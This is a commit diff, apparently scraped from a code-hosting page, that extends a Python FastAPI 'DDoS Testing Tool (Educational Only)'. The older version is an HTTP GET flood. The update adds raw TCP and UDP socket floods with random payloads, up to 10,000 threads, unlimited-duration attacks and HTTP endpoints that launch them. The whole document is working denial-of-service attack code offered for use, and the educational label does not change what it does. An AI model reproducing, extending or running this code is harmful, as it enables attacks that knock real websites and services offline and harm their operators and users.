Husnain Rasheed commited on
Update main.py
Browse files5 unmodified lines6789101112131415161718192021222324252627282930316 unmodified lines3839404142434445464748495051525354555657585960616263642 unmodified lines676869707172737413 unmodified lines8889909192935 unmodified linesimport requestsimport timeimport loggingfrom typing import Optionalfrom concurrent.futures import ThreadPoolExecutorlogging.basicConfig(level=logging.INFO)logger = logging.getLogger(__name__)app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")# Global attack controlattack_active = Falseattack_thread = Noneexecutor = ThreadPoolExecutor(max_workers=10000) # Increased max threadsclass AttackConfig(BaseModel):target: str # http:// or https://port: Optional[int] = Noneduration: int # seconds (-1 for unlimited)threads: int = 100 # number of concurrent threads (-1 for unlimited)def flood_target(target_url: str):headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",6 unmodified linestry:session.get(target_url, headers=headers, timeout=5, verify=False)except:pass # Ignore failures to keep floodingdef start_attack(config: AttackConfig):global attack_active, attack_threadattack_active = True# Build target URLprotocol = "https" if config.target.startswith("https") else "http"port = config.port or (443 if protocol == "https" else 80)target_url = f"{config.target}:{port}"# Determine thread countthread_count = config.threads if config.threads != -1 else 10000 # Use max if -1logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {thread_count} threads")# Launch threadsfutures = []for _ in range(thread_count):future = executor.submit(flood_target, target_url)futures.append(future)# Handle unlimited duration (-1)if config.duration != -1:2 unmodified lineselse:logger.info("Attack running indefinitely until manually stopped")logger.info("Attack completed.")def stop_attack():global attack_activeattack_active = False13 unmodified linesif config.duration != -1 and config.duration > 5000:raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)attack_thread.start()return {"status": "attack_started", "config": config}5 unmodified lines6789101112131415161718192021222324252627282930313233343536373839406 unmodified lines47484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021032 unmodified lines10610710810911011113 unmodified lines1251261271281291301311321331345 unmodified linesimport requestsimport timeimport loggingimport socketimport randomimport structfrom typing import Optional, Literalfrom concurrent.futures import ThreadPoolExecutorlogging.basicConfig(level=logging.INFO)logger = logging.getLogger(__name__)app = FastAPI(title="Layer 7 + Layer 4 DDoS Testing Tool (Educational Only)")# Global attack controlattack_active = Falseattack_thread = Noneexecutor = ThreadPoolExecutor(max_workers=10000) # Maximum power modeclass AttackConfig(BaseModel):target: strport: int = 80duration: int = 30 # -1 for unlimitedthreads: int = 100 # -1 for unlimitedattack_type: Literal["layer7", "tcp", "udp"] = "layer7"payload_size: int = 1024 # For Layer 4 attacksdef generate_payload(size: int) -> bytes:"""Generate random payload for Layer 4 attacks"""return bytes(random.getrandbits(8) for _ in range(size))def layer7_attack(target_url: str):headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",6 unmodified linestry:session.get(target_url, headers=headers, timeout=5, verify=False)except:passdef layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):sock = Nonetry:if protocol == "tcp":sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.connect((target_ip, port))else: # udpsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)while attack_active:payload = generate_payload(payload_size)if protocol == "tcp":sock.send(payload)else:sock.sendto(payload, (target_ip, port))time.sleep(0.01) # Small delay to prevent CPU overloadexcept Exception as e:logger.error(f"Layer 4 attack error: {e}")finally:if sock:sock.close()def start_attack(config: AttackConfig):global attack_active, attack_threadattack_active = True# Determine thread countthread_count = config.threads if config.threads != -1 else 10000# Build target URL for Layer 7if config.attack_type == "layer7":protocol = "https" if config.target.startswith("https") else "http"target_url = f"{config.target}:{config.port}"logger.info(f"Starting Layer 7 attack on {target_url} with {thread_count} threads")for _ in range(thread_count):executor.submit(layer7_attack, target_url)else:# Extract IP from target URL if neededtry:target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])except:raise HTTPException(status_code=400, detail="Invalid target URL")logger.info(f"Starting {config.attack_type.upper()} attack on {target_ip}:{config.port} with {thread_count} threads")for _ in range(thread_count):executor.submit(layer4_attack, target_ip, config.port, config.attack_type, config.payload_size)# Handle unlimited duration (-1)if config.duration != -1:2 unmodified lineselse:logger.info("Attack running indefinitely until manually stopped")def stop_attack():global attack_activeattack_active = False13 unmodified linesif config.duration != -1 and config.duration > 5000:raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")# Validate payload sizeif config.payload_size > 65507:raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)attack_thread.start()return {"status": "attack_started", "config": config}
main.py+65-24